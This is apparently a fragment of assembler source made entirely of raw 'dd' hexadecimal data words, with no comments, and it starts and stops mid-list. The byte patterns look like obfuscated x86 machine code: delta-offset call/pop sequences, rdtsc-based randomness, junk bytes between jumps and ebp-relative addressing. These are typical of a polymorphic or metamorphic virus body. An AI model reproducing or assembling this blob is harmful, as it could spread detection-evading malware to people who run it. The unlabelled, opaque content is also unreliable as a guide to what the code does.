20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 471EC356h, 15850F87h, 0E9000000h dd 10h, 0F948318Dh, 0A14FA3A2h, 63C3EA2Dh, 0C22879A1h dd 15995FFh, 6A05E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0B70C50C3h, 0E95361A3h, 12h, 96123D9Bh dd 304D9092h, 789B02BBh, 0AE150C05h, 0C75F161Ah, 0E430FD85h dd 305h, 0B9666000h, 8D89A3D4h, 5E41A39h, 5FBD8361h, 5E79Fh dd 73840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 417002C3h, 753B4833h, 6E8h, 4B164B00h dd 600DFACDh, 4A9BD8Bh, 5B6105E4h, 0CE9h, 66CF3400h, 0B9244F60h dd 7D517CEDh, 42E939h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 7A1668C3h, 41E12049h dd 45ADC5BBh, 0C30500Ch, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 9EC35646h, 97818584h, 0EA3414B3h, 10E904h dd 0D5C10000h, 0B4DF687Bh, 0CC155A86h, 7199CCFEh, 83FCE404h dd 0E430FDBDh, 850F0305h, 3C0h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 40C35343h, 8E94Fh, 69A10000h dd 0DB5EC7A1h, 0BD8376FCh, 5E79F5Fh, 89840F00h, 0E9000003h dd 0Ch, 8F561EE1h, 0EF0D78D3h, 0DC014AADh, 9F5FB5FFh, 0CE905E7h dd 58000000h, 5ACE4165h, 7207624Dh, 0FFA36923h, 0E41C1595h dd 91858905h, 8B05E42Ch, 0E79F53B5h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0DDDFC758h dd 9AC5744Ch, 6C7C42Ah, 10001h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0B7C35141h, 785AEBE3h, 3DBD89AAh dd 8B05E415h, 0E41D759Dh, 9E95005h, 0F7000000h, 0C3134EB9h dd 513389Ah, 6A243489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 1251C356h, 9F5FB5FFh dd 9D0105E7h, 5E41FDDh, 172D95FFh, 6A05E4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 9CC50EC3h dd 31F59509h, 0B58B05E4h, 5E79F53h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 37C35545h, 1D858BDAh, 6A05E41Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0DD36C352h, 5278B2DDh, 0D9BF0FABh, 4850Fh dd 0BB660000h, 86895387h, 0C4h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0E6C35646h, 0EB80364Dh, 958B25C1h dd 5E41095h, 58B0Fh, 80510000h, 835B43C3h, 12E904C2h, 0CE000000h dd 64FD2DEh, 105587CDh, 0E3781947h, 59BB3D3Ah, 205089ADh dd 8E8h, 239AB400h, 0D17684D1h, 5BFE8B01h, 84858DF9h, 0E905E7B3h dd 11h, 0AF3B2ADBh, 885A1B72h, 9E8979F0h, 3CAA5D1Ch, 0B886897Dh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 72F4C352h, 13E822h, 754B0000h dd 782518E8h, 4B041E1Fh, 83D0372Bh, 94B31768h, 5F49B306h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0F5345C3h, 0FF5BF9B7h, 0E79F5FB5h, 11E905h dd 0CD650000h, 0FCBC9E4h, 2290E1C1h, 0B2DFB645h, 0FF702072h dd 0E4104595h, 0D9D8B05h, 9605E426h, 96F88A50h, 0DD33BB66h dd 9F5FB5FFh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0FFF877C3h, 0E4136595h, 3CCF8105h dd 83655598h, 0E408F9BDh, 840F0005h, 67h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 15h, 73C35747h, 830F5287h dd 6, 860Fh, 965B0000h, 796E32BFh, 52505021h, 8E8h, 3693A500h dd 18559FBEh, 850F08h, 5F000000h, 5050310Fh, 585A5B5Bh dd 11E996h, 0EEE50000h, 0F468AA81h, 0E200A0C0h, 0FD5D818Bh dd 0FF2367FFh, 0E79F5FB5h, 0C595FF05h, 8B05E429h, 0E418159Dh dd 5FB5FF05h, 8B05E79Fh, 0E410A1BDh, 7195FF05h, 8905E419h dd 0E428DDBDh, 25BD8305h, 205E431h, 1B840Fh, 0B5890000h dd 5E425C5h, 1191858Bh, 8D8905E4h, 5E41FB9h, 310000C6h dd 0E42D0DB5h, 0E585C705h, 5E419h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0F2DC353h, 389h, 0DFBF0F00h, 0FFF488E9h, 0C18BF9FFh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 61C35545h dd 6AEFB476h, 0BE951BEh, 8B000000h, 1255F9F5h, 7597C3BEh dd 8D5BAD9Ch, 0E419D585h, 698D2905h, 9005E400h, 14E8h dd 76A06600h, 0D58080E5h, 0CCAB84B4h, 0F3FE7DB4h, 0B9A1232Ah dd 0AE8C0h, 0E030000h, 0D39B7B9Eh, 1613B3C4h, 5F5B5B56h dd 0BD899050h, 5E41991h, 1DE9BD8Bh, 6A05E4h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 2DC35343h, 839FFCD2h dd 68A0F29h, 8B000000h, 0E42719BDh, 0DE805h, 0C1740000h dd 0FA300698h, 38CA8C92h, 8BE8DDA3h, 0E40FD5BDh, 6A5B05h dd 27C99D29h, 0B58905E4h, 5E41125h, 793B858Dh, 6A05E8h dd 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0BF66CFC3h, 0C083CE88h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 311AE398h dd 0E403D585h, 800F5005h, 6, 8C0Fh, 4890000h, 57006A24h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0BBACBEC5h, 7D93FBF9h, 0C959D8Bh, 6A05E4h, 3E3ABB52h dd 6A5B2C2Bh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 2196A35Bh, 0A195FFA4h, 6A05E421h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 6EE6C353h, 0BC00FA4Eh, 979DFBC2h, 0AD78166h dd 7F8D8DEAh, 6605E79Eh, 0D1FFD88Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 48C35747h, 126DF6DAh, 5ADC73E6h dd 48D3EB81h, 0BD8305DFh, 5E42995h, 9D850F01h, 3000000h dd 0E42069BDh, 8E905h, 0FFD00000h, 90B5A850h, 26AE8D6h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 24C35141h dd 0AEB67220h, 0F2C95D75h, 0CB8140B7h, 2A384FC8h, 4CBB6650h dd 24048914h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 55C35747h, 57D3FCE6h, 0B341F79Ch, 4595FF20h, 6A05E410h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0CB21C356h, 849D9627h, 9D8B0B32h, 5E4147Dh dd 0D97E9h, 0E800h, 815D0000h, 0E87945EDh, 0EE905h, 2A6B0000h dd 0A4AF5D6Bh, 61DDF248h, 767AB50Ah, 8219D09h, 858D05E4h dd 5E78168h, 2149BD89h, 665205E4h, 3699E781h, 5B53505Fh dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 2865C353h, 0AB744A3Eh, 64F88B66h dd 35FFh, 18BF0000h, 6472E542h, 2589h, 0FFF90000h, 0E4142D85h dd 0D68B6005h, 3AD8D2Bh, 6A6105E4h, 50006AFFh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0E889BFE7h dd 7, 1298BDE7h, 0E93F4923h, 0Ch, 235D97DBh, 0B61EC182h dd 22966262h, 1DB5FF5Bh, 6A05E402h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0B3ACC353h dd 928BA51Bh, 8501A1B3h, 5E40D95h, 2DAD95FFh, 18E905E4h dd 0F000001h, 8166D9BFh, 0B064DEDBh, 0BB70E600h, 78EA680Ch dd 20EDBD8Bh, 71E405E4h, 2DB19529h, 890F05E4h, 6, 1A45B589h dd 613C05E4h, 0E5830Fh, 810F0000h, 6, 2775BD8Bh, 0B60F05E4h dd 41BD33C8h, 0BA05E426h, 6, 0C18B71B7h, 0C1F9B70Fh, 0BE904E8h dd 90000000h, 84E4B291h, 0EEB6B2DBh, 0F766B40Ch, 0EB8166E2h dd 0C82BA6F2h, 8BDBB70Fh, 0B8D0FD1h, 0E9000000h, 6, 37165F58h dd 6E9C055h, 9000000h, 0E412198Dh, 1D858B05h, 6605E41Ah dd 832F8DBBh, 8A0F07C0h, 6, 0E5B589h, 8B0F05E4h, 0Ch, 68B0Fh dd 9D0B0000h, 5E4146Dh, 0E900C083h, 0Ah, 0D135CD9Ch, 7B0625C6h dd 0D03B5963h, 9830Fh, 0B70F0000h, 39E9D8h, 8BF80000h dd 0E414D18Dh, 83D98B05h, 840F01E1h, 27h, 1A198589h, 0A58305E4h dd 5E414D1h, 75B501FEh, 8905E426h, 0E41A1D95h, 0B70F6005h dd 0B3BA66FFh, 0E96143h, 8D000000h, 0E7F008B5h, 6DE38105h dd 0F1E082Ah, 6AD8BFh, 6E9h, 0F1890200h, 0FFAE9646h, 0E410C195h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 838B99Ch, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0F343E1C3h, 0BAAE7559h dd 13E98108h, 0C0000000h, 507282FAh, 7FC1C585h, 0FD977B4Ah dd 439874E1h, 12E97618h, 56000000h, 0CEFFCE8Ch, 0AF23B868h dd 0F42D930Ah, 0D10209F7h, 0FCE183F5h, 32619D03h, 66FC05E4h dd 0C02BF88Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 0CFC35343h, 24544A9Eh, 92B8816Ch, 0C0DCBF66h, 0BAh dd 0A59D8B00h, 0AD05E427h, 0E8D1C233h, 0E983D003h, 6AF47504h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 2362C351h, 0AC1E37D9h, 0AAFF8A4Ah, 31CD9D23h dd 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 880D12C3h, 1000000h, 0E403ADBDh, 95958B05h dd 6A05E410h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 17DAC351h, 0E900EDF5h, 0CD4F7FACh dd 21199D8Bh, 8D8B05E4h, 5E42C65h, 2858529h, 810F05E4h dd 3, 50DA8B66h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 399D8958h, 0E905E407h, 7, 0E5690D7Ah, 83657289h, 0E42135BDh dd 840F0005h, 3Bh, 0EE9h, 51F96900h, 0F707DDD0h, 42DBB4C2h dd 0B838C5E2h, 0 dd 2BA9BD8Bh, 8D8D05E4h, 5E44C30h, 0AE9h, 584D4800h, 2925AB6Bh dd 0FF775915h, 799589E1h, 8305E403h, 0E430FDBDh, 840F0005h dd 4DDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 69C35343h, 9E867h, 0FF2D0000h, 0BEEA36D7h, 8B9AE16Bh dd 0E41775BDh, 8D895B05h, 5E40CA9h, 30FDBD83h, 0F0105E4h dd 4B384h, 5860F00h, 0BF000000h, 5480D3FDh, 8394DF80h dd 0E430FDBDh, 860F0305h, 462h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0C35747h, 31602897h, 0FBB70F45h dd 6057F380h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 0A0C35242h, 0E98665F7h, 1F0F09BAh, 0E0E7806Fh dd 0FD98C66h, 83h, 4E18000h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 9DC35242h, 0C90A0A1Ch, 13C840Fh dd 0C3810000h, 2CAFD234h, 2C9D858Bh, 805305E4h, 335F9EEFh dd 0E4209985h, 0C59D2905h, 5005E407h, 89F88B66h, 0BD292404h dd 5E42CA9h, 9589006Ah, 5E4280Dh, 4E8h, 1F03FF00h, 0DF8B6600h dd 0AE850h, 0D0090000h, 8C6D2025h, 5D09780Fh, 61605250h dd 5B53310Fh, 8B5B585Ah, 60042444h, 0AE85250h, 0 dd 0D0431011h, 31B26CDFh, 310F5F07h, 0BE2BBE66h, 0EE9585Ah dd 23000000h, 9D0A59FEh, 0E23AA650h, 4035928Dh, 8B6149h dd 61605260h, 4489615Ah, 0FE8B0424h, 56006A58h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0FF481EBBh dd 0E4015995h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 1DBEC4B0h, 7632512Bh dd 5F858947h, 6005E79Fh, 0AE9h, 0B167FD00h, 75D18293h dd 8B020FB6h, 0E4015D8Dh, 8E86105h, 11000000h, 3D8EC241h dd 89CA99A7h, 0E403FD8Dh, 44E95F05h, 6A000002h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0BDBFC355h, 0C35A7C60h, 858BE613h, 5E79F57h, 0D661F781h dd 0C769CAh, 18h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 6BC35040h, 0D3C5DF3Fh, 7E8h, 79589B00h, 0C2698E1h dd 5BFA8B66h, 21499D89h, 0B58B05E4h, 5E79F5Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 72C35040h, 0B59BC557h dd 13E821h, 4AC00000h, 3FC0F946h, 0EA890D1Ah, 3F8A8A07h dd 705A73E4h, 9D296009h, 5E40275h, 0BD895B61h, 5E413DDh dd 2A21858Bh, 890F05E4h, 6, 1D2D8509h, 870F05E4h, 11h dd 0CE9h, 5F6C5A00h, 0EE552D1Ah, 3FA7F371h, 6A06893Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 891BC351h, 38BA3E98h, 0B530C7B3h, 2C9D858Bh dd 6A05E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 4036C3h, 89D84942h, 6A0446h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0ADBF2BC3h dd 36CAEA5Ah, 3F91B27h, 0E41F09BDh, 50575005h, 12E952h dd 7F970000h, 0B3EFB340h, 0C068266Ch, 3B0C8314h, 0C12A1939h dd 8F0F310Fh, 0 dd 895B585Ah, 2B512434h, 0E430F1BDh, 9D8B5F05h, 5E41B6Dh dd 9F57B5FFh, 880F05E7h, 5, 9A3212BFh, 48AA6879h, 840F4B78h dd 5, 0C13A58BFh, 2434813Ch, 4B674B55h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 18h, 32C35141h, 0E7A33AA1h dd 227D9D8Bh, 13E905E4h, 55000000h, 915EDD91h, 1B01C310h dd 59041403h, 68393860h, 858D8A7Dh, 5E79F5Fh, 2699BD8Bh dd 665005E4h, 89C393BBh, 0BD292404h, 5E422E5h, 95FF37B7h dd 5E40159h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0D4C35343h, 70BB4E91h, 56F810A0h, 615BDFB3h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0F3C35343h, 8B77A139h dd 0C850FFBh, 0F000000h, 686h, 19D8B00h, 0C705E41Fh, 0E430FD85h dd 305h, 0EFBF6600h, 5FBD83FFh, 5E79Fh, 34840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0C2F396C3h, 46F4B658h, 5D858973h, 0E905E41Ch, 21h, 761BD89h dd 305005E4h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 2FBADFEEh, 6AD9CAh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 9D8B2DC3h dd 5E40061h, 30FDBD83h, 0F0305E4h, 3CB85h, 5FBD8300h, 5E79Fh dd 3BE840Fh, 0FFF80000h, 0E79F5FB5h, 99D8B05h, 0FF05E401h dd 0E41C1595h, 89576005h, 0E40FA59Dh, 858B5E05h, 5E40FD5h dd 53B58B61h, 6A05E79Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 6DC6C353h, 6DCBB66h dd 106C7h, 0B70F0001h, 0A99501DEh, 5005E42Bh, 89FE8B66h dd 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0FF791BC3h, 0E79F5FB5h, 9E905h, 0C6010000h dd 0F2A94955h, 0FFC11374h, 0E4172D95h, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0B245165h, 53B58B22h, 5305E79Fh, 1D858B5Fh, 6A05E41Dh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 1E8EC355h, 101D8589h, 868905E4h, 0C4h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 61C35141h, 49258B26h dd 21397359h, 7DB589A5h, 8B05E403h, 0E4109595h, 21BD8B05h dd 8305E421h, 0BD8B04C2h, 5E408B9h, 60205089h, 12E9h, 46F9E400h dd 5EBC9CEEh, 0BB5662A2h, 0D7FCCA38h, 89ED296Dh, 0E41FC19Dh dd 858D6105h, 5E7B384h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 8AC35040h, 75FF9BD7h, 867D4C74h, 0C800Fh dd 850F0000h, 6, 840Fh, 12E90000h, 2000000h, 5DB7071Dh dd 0B2276783h, 0B7E72C2Ah, 0E3B8A8BDh, 0AE8FAh, 0F0800000h dd 0CF2EF1E1h, 0F9D04D30h, 0D8C78166h, 86895F05h, 0B8h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 139F4CC3h, 6E9h, 5BD87400h, 0FF1C80F1h, 0E79F5FB5h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 9D2B74E8h, 5E4041Dh, 104595FFh, 958905E4h dd 5E42735h, 8E950h, 29C00000h, 86049BAh, 3489BAA7h, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0AC2C6962h, 98037F50h, 3121BD8Bh, 0B5FF05E4h, 5E79F5Fh dd 5E925ABFh, 6595FF6Fh, 6605E413h, 549FCF81h, 8F9BD83h dd 0F0005E4h, 5C84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 5EC1C252h, 505003ADh dd 0BE852h, 8F6F0000h, 95296D2h, 1A064257h, 0FE97Eh, 7A2F0000h dd 47BCF338h, 0F48AF105h, 297F76BAh, 310F5FCFh, 3489585Ah dd 68F0F24h, 0B000000h, 0E426D9BDh, 5FB5FF05h, 6A05E79Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 2B01C353h, 0E41035BDh, 0C595FF05h, 8905E429h dd 0E417F18Dh, 0DE8B6605h, 9F5FB5FFh, 666005E7h, 61427CBFh dd 82D8589h, 95FF05E4h, 5E41971h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0CDC35040h, 0A906F31Ah, 660AD381h dd 1E46E781h, 2402E381h, 0BD837F15h, 5E43125h, 52840F02h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 3363C353h, 0E5847EB2h, 1191858Bh dd 0F5005E4h, 0C65FD8BFh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 33AB29C3h, 0B798489Ah dd 0E585C764h, 5E419h, 0F8000000h, 0FFF346E9h, 51006AFFh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0CCDC2D2Bh, 23B35497h, 14E8AFF8h, 41000000h, 13396540h dd 63341B34h, 0AFFF75E0h, 6D4DA76h, 198AC34h, 0E419D19Dh dd 0BF665F05h, 0C18B0C2Ch, 0F3B3E781h, 95296883h, 5E408E5h dd 19D5858Dh, 0D78105E4h, 2E89FF99h, 24048950h, 0CE9h dd 0BC22C00h, 0FF5F37D0h, 0F2AE769h, 6A006A36h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 766AC356h, 729E47AFh, 2149BD8Bh, 6A05E4h, 3241BD23h dd 858D05E4h, 5E888A7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 2DC35747h, 201DBD89h, 0BD8905E4h, 5E41545h dd 6A05C083h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0D447C351h, 26499D8Bh, 816005E4h dd 0F957C9D9h, 0E9958966h, 6105E423h, 0CE950h, 0A6740000h dd 0F2806756h, 66AF2F85h, 4895040h, 0FB8B6024h, 0CF1B523h dd 6A6105E4h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0B95B6032h, 3BDF8166h, 6A006ACBh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 9306C356h, 8B663369h, 0A195FFFBh, 6A05E421h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0B2FCC353h, 0B491BAA1h, 8DF59CE0h, 0E79E7F8Dh dd 9DCF8005h, 6AD1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0BF5AD0C3h, 0BD83ACC2h, 5E42995h dd 51850F01h, 89000000h, 0E404959Dh, 1026A05h, 0E402DDBDh dd 8F0F5005h, 20h, 0FE8h, 0F05D1200h, 9713C2E4h, 0B79DDBC5h dd 5F7CD353h, 6E9h, 0A4533A00h, 5F11992Ch, 0FF240489h dd 0E4104595h, 0EE905h, 25490000h, 0F1539D5Fh, 7C42E568h dd 0E9F63EBCh, 0D33E9h, 0E800h, 815D0000h, 0E888B1EDh dd 0BD8BF905h, 5E41671h, 8168858Dh, 42BF05E7h dd 504C6402h, 0B3A496BFh, 24048932h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 24C35747h, 0D1878980h, 0BD09ED00h dd 5E422C1h, 91FBBB66h, 35FF64h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 3FBC355h dd 33920B34h, 81BD23D3h, 6605E41Ah, 6409C7BBh, 2589h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0D5D31AC3h, 0A2E58885h, 0F82B317h, 1A8Ah, 0EE800h, 0FD400000h dd 3B687724h, 817C3DD5h, 7D143A28h, 840Fh, 565B0000h, 2B7DBD0Bh dd 0FF5F05E4h, 0E4142D85h, 0B5958905h, 5005E424h, 0E1BDBB66h dd 53FF6A5Bh, 5FE9E380h, 2DBDB5FFh, 0FFF805E4h, 0E42DAD95h dd 145E905h, 0B00000h, 29099D89h, 70E605E4h, 8FFE381h dd 99B35ADEh, 0C38171E4h, 60166702h, 830F613Ch, 123h, 15880Fh dd 10E90000h, 13000000h, 42BE833Eh, 2A3A727h, 6B523873h dd 0FF8F265h, 6BAC8B6h, 0E9000000h, 12h, 7BED3E55h, 91F47700h dd 0A285C76Eh, 0F8A7A677h, 0C18B6F23h, 10E9h, 0A405A000h dd 32DB042Eh, 5F5C5888h, 6A5B5B4Ah, 4E8C192h, 0AE9h, 0CDD10A00h dd 0D79AD018h, 0E8BEE86Bh, 0Fh, 0EB6D19C2h, 8EB5E6FCh dd 28BA4E2Eh, 0BF76508Dh, 2172F8BAh, 0E2F7665Fh, 3165BD29h dd 0C82B05E4h, 1C7DBD8Bh, 0D18B05E4h, 5E9h, 84B4D500h dd 5E9CCABh, 66000000h, 8AB7DF8Bh, 107D858Bh, 0C08305E4h dd 8D296007h, 5E410BDh, 8BF78166h, 0C0836148h, 0C1BD0300h dd 3B05E417h, 24830FD0h, 0E8000000h, 12h, 59481168h, 16A136ECh dd 3EDCF751h, 90A6D696h, 0D380C6B1h, 38E95BA2h, 66000000h dd 8B005ABBh, 0E40FED8Dh, 83EAB305h, 840F01E1h, 23h, 196D9D0Bh dd 0A58305E4h, 5E40FEDh, 0DEBF0FFEh, 107D9589h, 815605E4h dd 0D1754DCFh, 0E95F15h, 8D000000h, 0E7F9BEB5h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8B662C14h, 6A006ADAh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 5638C350h, 0BCBDE331h dd 127D40E9h, 140DB501h, 95FF05E4h, 5E410C1h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 21C35141h, 0D05F0217h dd 6684BD3Bh, 50DDDB81h, 8A7B9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0A7485F2Ah dd 0E183407Ah, 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 1487D669h, 6AFC88h, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0FCA71BC3h, 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 0ABEFB35h, 443C43DCh dd 0CE9h, 0C1EA3B00h, 7D32C36h, 9046D35Dh, 0BA11h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 811804C3h, 0CA8F57ACh, 0FEBF6639h, 0C233AD70h, 0D003E8D1h dd 7504E983h, 51006AF4h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 6E221B9Ah, 6A55A912h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0FF66C357h dd 0BD8B5316h, 5E41E0Dh, 880D5Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0E4D8D7C3h dd 8B78EE2Ah, 0E4109595h, 8024BF05h, 8D8B07D5h, 5E42C65h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 494ECFC3h, 83DA8B66h, 0E42135BDh, 840F0005h, 82h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 19C35747h, 0FBC6AF0Fh dd 0C2342CD1h, 0B8FA8B66h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 21C35343h dd 5025EFB5h, 8D8D5FF9h, 5E44C30h, 29918589h, 0E1FF05E4h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D6C35646h dd 64578BA8h, 3135B589h, 0BD8305E4h, 5E430FDh, 8C840F00h dd 8B000003h, 0E41F719Dh, 0FDBD8305h, 105E430h, 394840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 8D8922C3h, 5E42CDDh, 0FDBD83F8h, 305E430h dd 32E860Fh, 8D890000h, 5E43101h, 13E860h, 0D8A60000h dd 5A00E84Dh, 3816E60Fh, 0DF1DE1Fh, 0BA4119EEh, 75DB8131h dd 5B70DAD4h, 6AD98C66h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0AB05C353h, 0EE628A6Fh dd 1C09B589h, 958905E4h, 5E4046Dh, 8904E180h, 0E4265D85h dd 0FC90A05h, 0FA84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 5C67529Ch, 8B906DDCh dd 0E42C9D85h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 4F7A44F6h, 0CC24341Eh dd 8D2908DFh, 